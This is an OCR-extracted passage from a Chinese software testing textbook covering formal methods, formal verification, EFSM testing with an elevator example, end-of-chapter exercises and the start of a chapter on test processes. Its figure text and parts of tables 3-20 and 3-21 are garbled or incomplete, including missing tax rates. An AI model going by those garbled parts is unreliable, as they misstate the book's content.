在 软件 需求 定义 中 , 当 采 用 自然 语言 来 描述 时 ,其 语义 不 够 清晰 ,容易 存在 歧义 性 。 需 求 
分 析 的 结果 也 往往 依赖 于 参与 者 的 经 验 和 理解 ,没有 严格 量化 的 标准 。 在 需求 之 后 的 设计 、 实 
施 活动 会 受到 影响 ,对 功能 特性 的 验证 缺乏 客观 、 定 量 的 依据 ,具有 不 确定 性 ,测试 覆盖 率 的 度 
量 不 可 靠 等 问题 。 这 些 问 题 ,对 于 一 般 的 应 用 软件 可 以 被 接受 ,但 是 对 于 一 些 非常 关键 的 软 
件 应 用 系统 ,如 核电 站 控制 软件 .航天 器 的 控制 系统 和 导弹 防御 系统 等 ,这 些 问题 必须 得 到 
解决 。 

为 了 解决 基于 自然 语言 的 设计 和 描述 所 带 来 的 问题 ,人 们 提出 了 形式 化 方法 。 形 式 化 方 
法 的 基础 是 数学 和 逻辑 学 ,通过 严格 的 数字 逻辑 和 形式 语言 来 完成 软件 (需求 .设计 规格 等 ) 定 
义 , 其 结果 语义 清晰 、 无 歧义 ,然后 可 以 通过 相应 的 工具 实施 自动 化 分 析 、 编 码 和 验证 。UML 
(Unified Modeling Language, 统 一 建 模 语言 ) 可 以 看 作 是 一 种 半 形 式 化 的 方法 ,虽然 不 能 完全 
量化 地 描述 软件 ,但 己 具 有 了 较 清 晰 定义 的 形式 和 部 分 的 语义 定义 ,并 有 相应 的 工具 可 以 帮助 
自动 生成 代码 ,测试 用 例 等 。 


3.7.1 形式 化 方法 


形式 化 方法 实际 上 就 是 基于 数学 的 方法 来 描述 目标 软件 系统 属性 的 一 种 技术 。 不 同 的 形 
式 化 方法 的 数学 基础 是 不 同 的 ,例如 : 

(1) VDM 就 是 基于 一 阶 谓词 逻辑 和 已 建立 的 抽象 数据 类 型 来 描述 每 个 运算 或 函数 的 功 
能 ,从 而 形成 一 种 功能 构造 性 规格 说 明 技 术 ; 

(2) 形式 规格 说 明 语言 Z 则 是 基于 一 阶 谓词 和 集合 论 的 数学 基础 ,利用 (状态 /操作 ) 模 式 
和 模式 演算 对 目标 软件 系统 的 结构 和 行为 特征 进行 抽象 描述 ; 

(3) 基于 时 态 逻 辑 的 形式 化 方法 着 重 描述 并 发 系统 中 状态 迁移 序列 ,用 于 刻画 并 发 系统 
所 需 验证 的 性 质 。 

形式 化 方法 主要 通过 形式 化 规范 语言 (Formal Specification Language, FSL) 来 完成 需求 
定义 .设计 、 编 程 和 测试 的 描述 ,而且 这 种 描述 是 通过 数学 方法 实现 的 ,具有 精确 语义 ,所 以 可 


以 保证 描述 的 一 致 性 和 完备 性 等 。 可 以 这 么 说 ,凡是 采用 严格 的 数学 语言 .具有 精确 的 数学 语 
义 的 方法 ,都 称 为 形式 化 方法 。 形 式 化 规范 说 明 语言 ,一 般 由 以 下 三 个 主要 的 成 分 构成 。 

(1) 语法 ,定义 用 于 表示 规约 的 特定 符号 ; 

(2) 语义 ,帮助 定义 用 于 描述 系统 的 对 象 及 其 属性 ; 

(3) 一 组 关系 ,定义 如 何 确 定 某 个 对 象 是 否 满足 规约 的 规则 。 

形式 化 方法 并 不 是 解决 软件 开发 问题 的 万 能 灵 药 。 它 也 有 缺点 ,也 不 能 保证 不 出 现 错误 。 
例如 ,在 非 形式 化 的 客观 需求 与 形式 化 规范 之 间 的 关系 ,难以 很 好 地 处 理 。 从 理论 上 看 ,通过 
对 形式 化 规范 进行 深入 分 析 , 证 明 所 需 性 质 ,但 实际 证 明 比 较 复杂 ,需要 强 有 力 的 支持 形式 化 
方法 的 工具 仍然 比较 缺乏 。 

形式 化 方法 的 更 大 作用 体现 在 软件 规格 和 验证 之 上 ,这 包括 软件 系统 的 精确 建 模 和 软件 
规格 特性 的 具体 描述 , 即 可 以 看 作 是 面向 模型 的 形式 化 方法 和 面向 属性 的 形式 化 方法 。 如 果 
进一步 进行 分 类 ,形式 化 方法 可 以 分 为 以 下 几 类 。 

(1) 基于 模型 的 方法 ,通过 明确 定义 状态 和 操作 来 建立 一 个 系统 模型 ,使 系统 从 一 个 状态 
转换 到 另 一 个 状态 。 用 这 种 方法 虽 可 以 表示 非 功 能 性 需求 (诸如 时 间 需 求 ) ,但 不 能 很 好 地 表 
示 并 发 性 。 基 于 这 种 方法 的 语言 有 Z 语 言 .B 语言 等 。 

(2) 代数 方法 ,通过 联系 不 同 操作 间 的 行为 关系 而 给 出 操作 的 隐 式 定义 ,而 不 定义 状态 。 
同样 , 它 也 未 给 出 并 发 的 显 式 表示 。 这 类 方法 的 形式 化 语言 有 OBJ (http://cseweb. ucsd. 
edu/ 一 goguen/sys/obj. html) .CLEAR .语义 语言 (Action Semantic Language,ASL)、ACT 等 。 

(3) 过 程 代数 方法 ,给 出 并 发 过 程 的 一 个 显 式 模型 ,并 通过 限制 所 有 容许 的 ,可 观察 的 过 
程 间 通 信 来 表示 系统 行为 ,如 通信 顺序 过 程 (Communicating Sequential Processes,CSP) .通信 
系统 演算 (Calculus of Communication Systems,CCS) ,通信 过 程 代数 (Algebra of Communicating 
Process,ACP) 时序 排序 规约 语言 (Language of Temporal Ordering Specification,LOTOS) 、 
计时 CSP(TCSP) ,通信 系统 计时 可 能 性 演算 (TPCCS) 等 形式 化 语言 。 

(4) 基于 逻辑 的 方法 ,用 逻辑 描述 系统 预期 的 性 能 ,包括 底层 规约 .时 序 和 可 能 性 行为 ,并 
采用 与 所 选 逻 辑 相 关 的 公理 系统 证 明 系统 具有 预期 的 性 能 。 它 还 可 采用 具体 的 编程 构造 扩充 
逻辑 从 而 得 到 一 种 广 谱 的 形式 化 方法 ,通过 保持 正确 性 的 细 化 步骤 集 来 开发 系统 。 如 区 间 时 
序 罗 辑 (IntervalTemporalLogic, ITL)、Hoare 逻辑 、 模 态 逻 辑 . 时 序 逻 辑 . 时 序 代理 模型 
(Temporal Agent Model,TAM) 、 命 题 线性 时 序 罗 辑 (Propositional Linear TemporalLogic， 
PLTL) 实时 时 序 逻 辑 (Real Time TemporalLogic, RTTL) 、 计 算 树 逻辑 (Computation Tree 
Logic,CTL) 等 。 

(5) 基于 网 络 的 方法 ,根据 网 络 中 的 数据 流 显 式 地 给 出 系统 的 并 发 模型 ,包括 数据 在 网 中 
从 一 个 节点 流向 另 一 个 节点 的 条 件 。 采 用 具有 形式 语义 的 图 形 语言 ,具有 易 理 解 性 ,如 Petri 
网 .谓词 变换 网 等 。 


3.7.2 形式 化 验证 


形式 化 验证 ,就 是 根据 某 些 形式 规范 或 属性 ,使 用 数学 方法 (形式 逻辑 方法 ) 证 明 其 正确 性 
或 非 正确 性 。 形 式 化 验证 首先 被 用 于 生成 软件 规格 说 明 书 ,然后 将 其 作为 软件 开发 的 基础 和 
软件 测试 验证 的 依据 。 因 为 它 是 基于 一 种 严格 定义 的 规范 语言 来 描述 软件 产品 ,这 样 可 以 借 
助 相应 的 工具 来 完成 软件 产品 的 验证 。 对 形式 化 规范 进行 分 析 和 推理 ,研究 它 的 各 种 静态 和 
动态 性 质 ,验证 是 否 一 致 .是 否 完整 ,从 而 找 出 所 存在 的 错误 和 缺陷 。 


传统 的 验证 方法 包括 模拟 和 测试 ,都 是 通过 实验 的 方法 对 系统 进行 查 错 。 模 拟 和 测试 分 
别 在 系统 抽象 模型 和 实际 系统 上 进行 ,其 一 般 的 方法 是 在 系统 的 某 点 给 予 输入 ,观察 在 另 一 点 
的 输出 ,要 完成 大 量 的 数据 输入 和 输出 结果 的 检查 ,而 且 由 于 实验 所 能 涵盖 的 系统 行为 有 限 ， 
很 难 找 出 所 有 潜在 的 错误 。 因 此 ,早期 的 形式 验证 主要 研究 如 何 使 用 数学 方法 ,严格 证 明 一 个 
程序 的 正确 性 ( 即 程序 验证 ) 。 

软件 测试 无 法 证 明 系统 不 存在 缺陷 ,也 不 能 证 明 它 符合 一 定 的 属性 。 只 有 形式 化 验证 过 
程 可 以 证 明 一 个 系统 不 存在 某 个 缺陷 或 证 明 一 个 系统 符合 某 个 属性 。 但 是 ,还 是 无 法 证 明 某 
个 系统 没有 缺陷 ,这 是 因为 不 能 形式 化 地 定义 “没有 缺陷 ?>。 所 以 ,我 们 能 做 的 就 是 证 明 一 个 系 
统 不 存在 可 以 想得到 的 缺陷 ,以 及 验证 满足 系统 质量 要 求 的 属性 。 

目前 关于 形式 化 验证 方法 的 研究 主要 集中 在 信念 逻辑 ,代数 方 法 ,模型 检测 等 方面 ,例如 : 

(1) 采用 有 限 状 态 机 (Finite State Machine, FSM) 或 扩展 有 限 状 态 机 (Enhance Finite 
State Machine,EFSM) 进 行 模型 检验 。 

(2) 采用 SPIN(http://spinroot. com) 和 线性 时 态 语 言 验证 其 相关 属性 。 

(3) UML 语义 转换 形式 化 验证 。 

(4) 标准 RBAC 模型 ,包括 4 个 部 件 模 型 : 基本 模型 RBAC0(Core RBAC) ,角色 分 级 模 
型 RBAC1(Hierarchal RBAC) .角色 限制 模型 RBAC2(Constraint RBAC) 和 统一 模型 RBAC3 
(Combines RBAC) 。 

(5) 扩展 的 RBAC(Role-Based Access Control, 基 于 角色 的 存 取 控制 ) 模 型 和 基于 粒 计算 
(Granular Computing) 的 RBAC 模型 (G-RBACModel) 。 

(6) 符号 模型 检验 (Symbolic Model Checking) ,将 问题 形式 化 成 为 一 种 特定 的 符号 表示 ， 
然后 诉 诸 于 某 种 特定 的 问题 求解 方法 ,如 BDD (Binary Decision Diagram) ,SAT( 可 满足 性 问 
题 的 求解 器 )、.ATPG(Automatic Test Pattern Generation , 自动 测试 模式 发 生 器 ) 定理 证 明 
器 等 。 

(7) BAN(CBurrows-Abadi-Needham) 逻 辑 模型 ,用 于 安全 协议 的 验证 。 

下 面 着 重 讨论 基于 模型 的 软件 测试 和 扩展 有 限 状 态 机 方法 等 。 


3.7.3 扩展 有 限 状 态 机 方法 


有 限 状 态 机 是 一 种 用 来 进行 对 象 行为 建 模 的 工具 ,其 作用 主要 是 描述 对 象 在 它 的 生命 周 
期 内 所 经 历 的 状态 序列 ,以 及 如 何 响应 来 自 外 界 的 各 种 事件 。 在 面向 对 象 的 软件 系统 中 ,一 个 
对 象 无 论 多 么 简单 或 者 多 么 复杂 ,都 必然 会 经 历 一 个 从 开始 创建 到 最 终 消亡 的 完整 过 程 ,这 通 
常 被 称 为 对 象 的 生命 周期 。 一 般 说 来 ,对 象 在 其 生命 期 内 是 不 可 能 完全 孤立 的 , 它 必 须 通 过 发 
送 消息 来 影响 其 他 对 象 ,或 者 通过 接收 消息 来 改变 自身 。 许 多 实用 的 软件 系统 都 必须 维护 一 
两 个 非常 关键 的 对 象 ,它们 通常 具有 非常 复杂 的 状态 转换 关系 ,而 且 需要 对 来 自 外 部 的 各 种 异 
步 事件 进行 响应 。 例 如 ,在 VoIP 电话 系统 中 ,电话 类 (Telephone) 的 实例 必须 能 够 响应 来 自 
对 方 的 随机 呼叫 ,来 自用 户 的 按键 事件 ,以 及 来 自 网 络 的 信 令 等 。 在 处 理 这 些 消息 时 ,类 
Telephone 所 要 采取 的 行为 完全 依赖 于 它 当 前 所 处 的 状态 ,因而 此 时 使 用 状态 机 就 将 是 一 个 
不 错 的 选择 。 

有 限 状 态 机 (Finite State Machine,FSM) 模 型 包含 5 个 元 素 , 即 输入 符号 .输出 符号 ,状态 
集合 状态 转移 函数 和 输出 函数 ,而 扩展 有 限 状态 机 (Extended Finite State Machine, EFSM) 
模型 是 在 FSM 模型 基础 上 增加 了 动作 和 转移 条 件 , 以 处 理 系统 的 数据 流 问 题 ,而 FSM 模型 


只 能 处 理 系统 的 控制 流 问 题 。 所 以 ,EFSM 模型 包含 6 个 元 素 , 增 加 了 一 个 初始 状态 ,并 将 
FSM 模型 中 的 “状态 转换 函数 和 输出 函数 ” 变 为 “变量 集合 和 转移 集合 ”, 如 图 3-12 所 示 。 基 
于 FSM/ EFSM 模型 ,自动 化 编程 和 测试 的 研究 和 实践 越 来 越 多 。 
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3-12 ”EFSM 模型 示意 图 


对 于 FSM 模型 应 用 很 多 ,最 典型 的 一 个 例子 就 是 电梯 控制 程序 。 电 梯 可 以 看 作 由 两 部 
分 一 一 电梯 门 和 轿 箱 组 成 。 实 际 上 ,电梯 门 有 两 种 基本 状态 一 一 开 和 闭 ,但 如 果 更 细致 地 分 
析 , 就 可 以 增加 两 种 状态 一 一 正在 打开 和 正在 关闭 。 因 为 在 电梯 正在 关闭 的 过 程 中 ,电梯 还 是 
可 以 接收 指令 , 转 为 “正在 打开 ?状态 。 所 以 ,电梯 门 的 控制 可 以 通过 FSM 来 描述 ,相对 简单 ， 
如 图 3-13 所 示 。 实 际 的 控制 系统 必须 统一 控制 ,将 电梯 门 和 轿 箱 作为 一 个 整体 考虑 ,其 FSM 
描述 如 图 3-14 所 示 。 


传感器 打开 Cr ) 请 求 关闭 


请 求 打开 传感器 关闭 


图 3-13 电梯 门 控制 的 FSM 示意 图 


基于 EFSM 测试 的 输入 应 该 包含 两 个 部 分 : 测试 输入 序列 及 其 包含 的 变量 值 (输入 数 
据 )。 手 工 选 取 这 些 测试 数据 的 工作 十 分 烦琐 ,一 般 需 要 采用 自动 选取 的 方法 ,如 聚 类 方法 、 二 
叉 树 遍 历 算法 和 分 段 梯度 最 优 下 降 算法 等 ,从 而 极 大 地 提高 实际 测试 工作 的 效率 。 

为 实用 的 软件 系统 编写 状态 机 并 不 是 一 件 轻松 的 事情 ,特别 是 当 状 态 机 本 身 比 较 复杂 的 
时 候 尤 其 如 此 ,需要 投入 大 量 的 时 间 与 精力 才能 描述 状态 机 中 的 各 种 状态 ,所 以 不 得 不 尝试 开 
发 一 些 工具 来 自动 生成 有 限 状 态 机 的 框架 代码 ,例如 ,基于 Linux 的 有 限 状 态 机 建 模 工具 
FSME(Finite State Machine Editor) ,如 图 3-15 所 示 。FSME 能 够 让 用 户 通过 图 形 化 的 方式 
来 对 程序 中 所 需要 的 状态 机 进行 建 模 , 并 且 还 能 够 自动 生成 用 C++ 或 者 Python 实现 的 状态 机 
框架 代码 。 


图 3-14 电梯 控制 系统 的 FSM 示意 图 
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3-15 ”有 限 状 态 机 建 模 工具 FSME 界面 示意 图 


小 结 


本 章 介 绍 了 各 种 测试 方法 ,从 基于 直觉 和 经 验 的 测试 方法 、 基 于 输入 域 的 测试 方法 、 基 于 
组 合 及 其 优化 的 方法 ,到 基于 逻辑 覆盖 的 方法 、 基 于 缺陷 模式 的 方法 、 基 于 模型 的 方法 和 形式 
化 方法 等 。 对 测试 方法 可 能 有 不 同 的 划分 。 例 如 ,之 前 人 们 习惯 于 把 测试 方法 分 为 两 类 : 白 
盒 测试 方法 和 黑 盒 测 试 方法 ,这样 划 分 比较 粗糙 ,也 容易 限制 测试 人 员 的 思维 。 为 了 更 好 地 展 
示 测 试 思路 ,就 需要 找 准 测试 的 切入 点 ,也 就 是 明确 如 何 找到 被 测试 的 系统 或 单元 的 突破 口 ， 
从 而 更 全 面 地 操作 被 测试 对 象 ,对 被 测试 对 象 施加 影响 ,从 而 评估 被 测试 对 象 的 行为 表现 或 输 


出 结果 。 要 做 到 这 点 ,主要 依赖 数据 流 和 控制 流 等 的 分 析 。 

(1) 数据 流 分 析 , 包 括 输入 输出 空间 的 分 析 , 如 等 价 类 划分 .边界 值 分 析 ; 如 果 输 入 空间 
是 由 多 个 变量 或 多 个 参数 等 构成 ,就 需要 考虑 组 合 问题 , 即 判 定 表 、Pairwise 方法 、 正 交 实 

(2) 控制 流 分 析 , 就 是 对 程序 或 软件 的 状态 转换 ,运行 路 径 进行 分 析 , 自然 就 有 有 限 状 态 
机 、 功 能 图 ,条件 覆 盖 、 分 支 覆 盖 ( 判 定 覆 盖 ) 和 基本 路 径 覆 盖 。 

无 论 采用 哪 种 方法 ,最 终 需 要 对 测试 覆盖 率 进行 分 析 , 以 评估 测试 的 充分 性 。 这 种 覆盖 率 
分 析 , 也 主要 是 从 数据 覆盖 、 运 行路 径 是 否 被 覆盖 进行 分 析 , 从 这 个 角度 ,也 可 以 帮助 我 们 更 好 
地 理解 测试 方法 。 

在 进行 数据 流 或 控制 流 分 析 时 ,如果 问 题 复杂 ,就 需要 借助 建 模 的 技术 帮助 实现 ,包括 有 
限 状态 机 、 因 果 图 .模糊 测试 等 方法 。 决 策 表 、 功 能 图 等 也 可 以 归 为 建 模 技 术 ,实际 上 ,一 个 方 
法 可 以 归 为 不 同 的 两 个 或 三 个 类 别 。 当 上 面 这 些 方法 都 不 适用 时 ,或 是 作为 上 述 方法 的 一 种 
补充 ,就 有 了 基于 直觉 和 经 验 的 测试 方法 .基于 缺陷 模式 的 方法 。 

这 里 介绍 了 大 部 分 的 测试 方法 ,但 测试 方法 不 局 限于 这 些 , 还 有 其 他 一 些 方法 ,例如 ,基于 
用 户 场景 的 测试 方法 .业务 端 到 端的 测试 方法 (基于 业务 流程 路 径 的 验证 方法 ) ,基于 需求 直接 
验证 的 方法 等 。 不 同 的 测试 方法 有 各 自 的 出 发 点 ,其 侧重 点 不 一 样 , 有 其 特定 的 应 用 范围 。 例 
如 ,基于 逻辑 覆盖 的 方法 主要 用 于 单元 测试 或 者 系统 业务 流 端 到 端的 测试 ,而 基于 输入 域 的 测 
试 适合 对 数据 进行 测试 ,基于 组 合 的 方法 可 以 应 用 于 系统 兼容 性 测试 ,模糊 测试 方法 应 用 于 容 
错 性 测试 和 安全 性 测试 ,形式 化 方法 则 用 于 高 可 靠 性 的 关键 软件 系统 的 测试 。 

SWEBOK 3. 0 作为 软件 工程 专业 的 知识 体系 ,成 为 软件 工程 教学 的 重要 参照 体系 ,有 
必要 分 析 一 下 这 里 所 介绍 的 方法 是 否 覆盖 了 SWEBOK 3. 0 所 要 求 的 各 种 方法 ,如 表 3-20 
所 示 。 


表 3-20 SWEBOK 3.0 测试 方法 


SWEBOK 3.0 测试 SWEBOK 对 应 的 


方法 分 类 具体 测试 方法 本 教材 对 应 的 分 类 及 方法 


基于 直觉 和 经 验 的 方法 ,增加 “错误 猜测 法 ”， 


基于 直觉 和 经 验 的 方法 ”| Ad-hoc 测试 方法 ,探索 式 测试 但 “探索 式 测试 "不 被 认为 是 一 种 方法 


基于 输入 域 的 方法 
全 
基于 输入 域 的 方法 IDBT ee 基于 组 合 及 其 优化 的 方法 (决策 表 、 应 图 两 
) 两 组 合 \ 正 交 实 验 法 ) 
- 基于 逻辑 覆盖 的 方法 ,如 判定 覆盖 \ 条 件 覆 
基于 控制 流 的 标准 .基于 数据 机 
基于 代码 的 方法 CBT 。 | 这 标准 CB 参 寺村 此 .到 / 和 伯伯 和 人 ,机 和 
故障 模型 .错误 猜测 法 、 变 异 | 基于 缺陷 模式 的 方法 ,如 常见 缺陷 模式 \ 模 机 
基于 故障 的 方法 FBT 。 | 训 广 a 
UBT 操作 配置 .用 户 观 察 启发 基于 场景 的 方法 


决策 表 、 有 限 状态 机 、 形 式 化 | 基于 模型 的 方法 

验证 ,TTCN3. 工 作 流 模型 形式 化 方法 

OOS、Web、Real-time、SOA、| 应 用 领域 ,不 能 算是 测试 方法 ,而 是 如 何 结合 
Embedded ,Safe-critical 相应 的 软件 技术 完成 其 应 用 领域 的 测试 


MBT 


TBNA 


1. 在 逻辑 覆盖 方法 中 ,语句 覆盖 、 判 定 覆盖 、 条 件 覆 盖 和 基本 路 径 覆盖 , 哪 一 种 覆盖 率 高 ? 
为 什么 ? 

2. 针对 “邮件 地 址 ”输入 域 进行 验证 ,通过 等 价 类 划分 法 设计 相应 的 测试 用 例 ,包括 尽 可 
能 多 的 无 效 等 价 类 。 

3. 综合 运用 边界 值 方法 和 等 价 类 划分 法 设计 相应 的 测试 用 例 : 输入 三 个 整数 作为 边 ,分 
别 满足 一 般 三 角形 .等 腰 三 角形 和 等 边 三 角形 。 

4. 根据 如 图 3-16 所 示 程 序 流程 图 ,分 别 用 最 少 的 测试 用 例 完成 语句 覆盖 、 判 定 覆盖 、 条 
件 覆 盖 和 路 径 覆 盖 的 测试 设计 。 


X>0 AND Y>10 


Y=-(Y+X) 


3-16 思考 题 4 程序 流程 图 


5. 针对 下 列 可 能 存在 的 程序 结构 设计 测试 用 例 。 

(1) 程序 要 求 : 10 个 铅球 中 有 一 个 假球 ( 比 其 他 铅球 的 重量 要 轻 ) ,用 天 平 三 次 秤 出 假球 。 

(2) 程序 设计 思路 : 第 一 次 使 用 天 平分 别 秤 5 个 球 ,判断 轻 的 一 边 有 假球 ; 拿 出 轻 的 5 个 
球 , 拿 出 其 中 4 个 秤 ,两 边 分 别 放 两 个 球 ; 如 果 两 边 同 重 , 则 剩 下 的 球 为 假球 ; 若 两 边 不 同 重 ， 
拿 出 轻 的 两 个 球 秤 第 三 次 , 轻 的 为 假球 。 

6. 结合 边界 值 分 析 法 和 等 价 类 划分 法 ,针对 不 同月 薪 需 要 缴纳 不 同 的 个 人 所 得 税 计算 程 
序 ,来 设计 充分 的 测试 用 例 。 设 个 人 所 得 税 的 起 征 点 3500 元 ,税率 见 表 3-21。 


表 3-21 税率 计算 表 
应 纳税 所 得 额 ( 减 去 起 征 点 3500 元 后 的 结果 ) 税率 /% 
不 超过 500 元 本 
超过 500 一 2000 元 10 
超过 2000 一 5000 元 
超过 5000 一 20 000 元 20 
超过 20 000 一 40 000 元 25 
超过 40 000 一 60 000 元 30 
超过 60 000 一 80 000 元 35 
超过 80 000 一 100 000 元 40 
超过 100 000 元 45 


7. 年 ,月 ,日 分 别 由 Y、M 和 DD 来 存储 相应 的 值 ,现在 要 测试 NextData(Y,M,D) 函 数 ， 
判定 表 方法 来 设计 相应 的 测试 用 例 。 
8. 针对 下 列 因素 ,使 用 PICT 工具 完成 Pairwise 的 组 合 测试 ,如 果 存 在 约束 条 件 , 需 要 添 


加 后 进行 计算 。 

(1) 驾驶 记录 : 过 去 5 年 内 没有 违规 ,过 去 3 年 内 没有 违规 ,过 去 3 年 内 违规 小 于 3 次 ,过 
去 3 年 内 违规 3 次 或 3 次 以 上 ,过 去 1 年 内 违规 3 次 或 3 次 以 上 。 

(2) 汽车 型 号 : 一 般 国产 车 ,高 档 国产 车 (之 20 万 ) ,进口 车 ,高 档 进口 车 ( 宇 100 万 ) 。 

(3) 使 用 汽车 的 方式 : 出 租车 ,商务 车 ,私家 车 。 

(4) 所 住 的 地 区 : 城市 中 心地 带 , 市 区 ,郊区 ,农村 。 

(5) 受 保 的 项 目 : 全 保 , 自 由 组 合 , 最 基本 保险 。 

(6) 司机 的 驾龄 : 二 1 年 ,二 3 年 ,二 5 年 ,<10 年 ,>10 年 。 

(7) 保险 方式 : 首次 参 保 , 第 二 次 参 保 , 连 续 受 保 (三 3 次 )。 

9. 通过 扩展 有 限 状 态 机 来 描述 表示 堆栈 算法 ,然后 转化 为 状态 树 , 然 后 设计 测试 用 例 覆 
盖 独 立 的 树 根 到 树叶 的 路 径 。 


CHAPTER 4 


软件 测试 流程 和 规范 


标准 和 规范 是 成 熟 工业 的 标志 。 在 手工 作坊 时 代 , 每 样 东西 都 是 独 
一 无 二 的 ,即使 是 同一 类 产品 ,比较 相似 ,但 或 多 或 少 都 有 差异 。 而 在 现 
代 工 业 化 生产 中 ,机 器 配件 都 是 统一 规范 起 来 ,例如 ,显示 器 接口 .USB 
接口 等 。 再 比如 ,家 中 某 个 电器 或 家 具 丢 了 个 螺丝 钉 ,在 街 上 很 容易 买 
一 个 , 回 家 安装 上 ,这 说 明 什 么 ? 制造 业 的 标准 在 起 作用 。 家 用 电器 是 
依据 标准 制造 的 ,所 以 随 之 而 来 的 各 种 标准 配件 也 会 很 容易 找到 。 

标准 与 规范 大 都 是 行业 几 十 年 甚至 上 百年 的 经 验 与 技术 的 结晶 ， 
人 类 宝贵 的 财富 。 软 件 行业 也 一 样 , 需 要 关注 软件 过 程 规范 、 软 件 质量 
标准 和 规范 ,而 且 也 是 在 随 着 时 间 的 推移 不 推 更 新 与 完善 ,持续 改进 软 
件 过 程 。 

本 章 将 从 软件 过 程 模 型 出 发 ,讨论 传统 的 测试 过 程 和 敏捷 测试 过 
程 ,进而 扩展 到 基于 脚本 的 测试 和 探索 式 测试 ,然后 讨论 测试 过 程 改进 
模型 TMMi、TPI, 最 好 讨论 软件 测试 和 质量 标准 、 软 件 测试 规范 等 。 


4.1 传统 的 软件 测试 过 程 
在 2.2 节 讨论 软件 测试 分 类 时 ,已 简单 提 到 软件 测试 阶段 ,为 了 更 


清楚 地 了 解 测试 过 程 ,从 两 条 线 分 别 展示 软件 测试 的 基本 过 程 , 如 图 4-1 
所 示 。 


》 需求 评审 》 设计 评审 S 单元 测试 》 集成 测试 S 系统 测试 SE > 


> i 测试 设计 》 执行 与 监控 > 结果 分 析 与 评估 项 目 结 > 


4-1 软件 测试 的 过 程 


(1) 从 软件 工程 过 程 来 看 ,经 过 需求 评审 、 设 计 评 审 、 代 码 评审 与 单 
元 测试 ,集成 测试 .系统 测试 .验收 测试 等 阶段 。 

(2) 从 项 目 管理 角度 看 ,经 过 测试 计划 、 测 试 设计 、 测 试 执行 与 监 
控 , 测 试 结果 分 析 与 评估 (报告 ) ,项目 总 结 等 阶段 。 

即使 是 传统 的 软件 开发 ,也 提倡 每 日 构建 或 持续 集成 ,如 果 仅 从 软 
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件 代码 角度 看 ,单元 测试 和 集成 测试 是 同时 进行 的 ,没有 单独 的 集成 测试 阶段 。 但 如 果 考 虑 和 
其 他 子 系统 的 集成 .和 第 三 方 系统 集成 .和 硬件 集成 等 工作 ,集成 测试 的 阶段 还 是 独立 存在 的 。 
过 程 的 描述 尽量 简单 ,从 而 使 读者 一 目 了 然 ,基本 知道 各 个 环节 主要 的 工作 ,但 实际 许多 工作 
是 交替 进行 或 同时 进行 ,甚至 在 项 目 早期 就 已 经 开始 。 例 如 ,系统 测试 和 验收 测试 的 计划 , 设 
计 工作 分 别 在 需求 评审 、 设 计 评审 阶段 就 开始 启动 了 ,而 系统 测试 和 验收 测试 阶段 ,主要 是 测 
试 执行 的 工作 。 

在 长 期 的 研究 与 实践 中 ,人 们 越 来 越 深刻 地 认识 到 ,建立 简明 准确 的 表示 模型 是 把 握 复杂 
系统 的 关键 。 为 了 更 好 地 理解 软件 开发 过 程 的 特性 ,跟踪 、 控 制 和 改进 软件 产品 的 开发 过 程 ， 
就 必须 为 软件 开发 过 程 建立 合适 的 模型 。 模 型 是 对 事物 的 一 种 抽象 ,人 们 常常 在 正式 建造 实 
物 之 前 ,首先 建立 一 个 简化 的 模型 ,忽略 细节 ,剔除 那些 与 问题 无 关 的 、 非 本 质 的 东西 ,从 而 使 
模型 与 真实 的 实体 相 比 更 加 简单 明了 ,以 便 更 透彻 地 了 解 它 的 本 质 , 抓 住 主要 的 问题 。 总 的 来 
说 ,使 用 模型 可 以 防止 人 们 过 早 地 陷入 各 个 模块 的 细节 ,使 人 们 从 全 局 上 把 握 系统 的 全 貌 及 其 
相关 部 件 之 间 的 关系 。 


4.1.1 W 模型 


Evolutif 公司 针对 V 模型 进行 了 改进 ,提出 了 W 模型 的 概念 ,W 模型 增加 了 软件 各 开发 
阶段 中 应 同步 进行 的 验证 和 确认 活动 。 如 图 4-2 所 示 , W 模型 由 两 个 V 字 型 模型 组 成 ,分 别 
代表 测试 与 开发 过 程 ,图 中 明确 表示 出 了 测试 与 开发 的 并 行 关系 ,测试 伴随 着 整个 软件 开发 周 
期 ,而 且 测试 的 对 象 不 仅 是 程序 ,还 包括 需求 定义 文档 设计 文档 等 ,这 和 上 面 所 扩展 的 V 模 
型 有 相同 的 内 涵 。 例 如 ,需求 分 析 完成 后 ,测试 人 员 就 应 该 参与 到 对 需求 的 验证 和 确认 活动 
中 ,以 尽早 地 找 出 缺陷 所 在 。 同 时 ,对 需求 的 测试 也 有 利于 及 时 了 解 项 目 难 度 和 测试 风险 ,及 
早 制定 应 对 措施 ,这 将 显著 减少 总 体 测 试 时 间 , 加 快 项 目 进度 。 


/ 
| 步 同步 rc 基质 浊 | 
系统 、 结 构 设计 @@=…………… -- 寺 | 承 统 铀 过 
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同步 re | 
刘 计 时 ”一 动能 测 谍 ) 
程序 设计 功能 测试 “W 缺陷 月 
用 例 设计 
开发 过 程 
编码 及 查 | 


测试 过 程 单元 测试 
图 4-2 测试 过 程 和 开发 过 程 的 同步 关系 


从 图 4-2 可 以 看 出 ,软件 分 析 、 设 计 和 实现 的 过 程 ,同时 伴随 着 软件 测试 、 验 证 和 确认 的 过 
程 ,而 且 包 括 软件 测试 目标 设 定 、 测 试 计划 和 用 例 设 计 、 测 试 环境 建立 等 一 系列 测试 活动 的 过 


程 。 也 就 是 说 ,项 目 一 启动 ,软件 测试 的 工作 也 就 启动 了 ,避免 了 瀑布 模型 所 带 来 的 误区 一 一 
软件 测试 是 在 代码 完成 之 后 进行 的 。 测 试 过 程 和 开发 过 程 都 贯穿 软件 过 程 的 整个 生命 周期 ， 
它们 是 相辅相成 .相互 依赖 的 关系 ,概括 起 来 有 以 下 三 个 关键 点 。 

(1) 测试 过 程 和 开发 过 程 是 同时 开始 的 ,同时 结束 的 ,两 者 保持 同步 的 关系 。 

(2) 测试 过 程 是 对 开发 过 程 中 阶段 性 成 果 和 最 终 的 产品 进行 验证 的 过 程 ,所 以 两 者 相互 
依赖 。 前 期 ,测试 过 程 更 多 地 依赖 于 开发 过 程 ; 后 期 ,开发 过 程 更 多 地 依赖 于 测试 过 程 。 

(3) 测试 过 程 中 的 工作 重点 和 开发 工作 的 重点 ,可 能 是 不 一 样 的 ,两 者 有 各 自 的 特点 。 不 
论 在 资源 管理 方面 ,还 是 在 风险 管理 方面 ,两 者 都 存在 着 差异 。 


4.1.2 TMap NEXT 


TMap (Test Management Approach ,测试 管理 方法 ) 是 一 种 业务 驱动 的 .基于 风险 策略 
的 、 结 构 化 的 测试 方法 体系 (http://eng. tmap. net/Home/) ,目的 是 更 早 地 发 现 缺 陷 , 以 最 小 
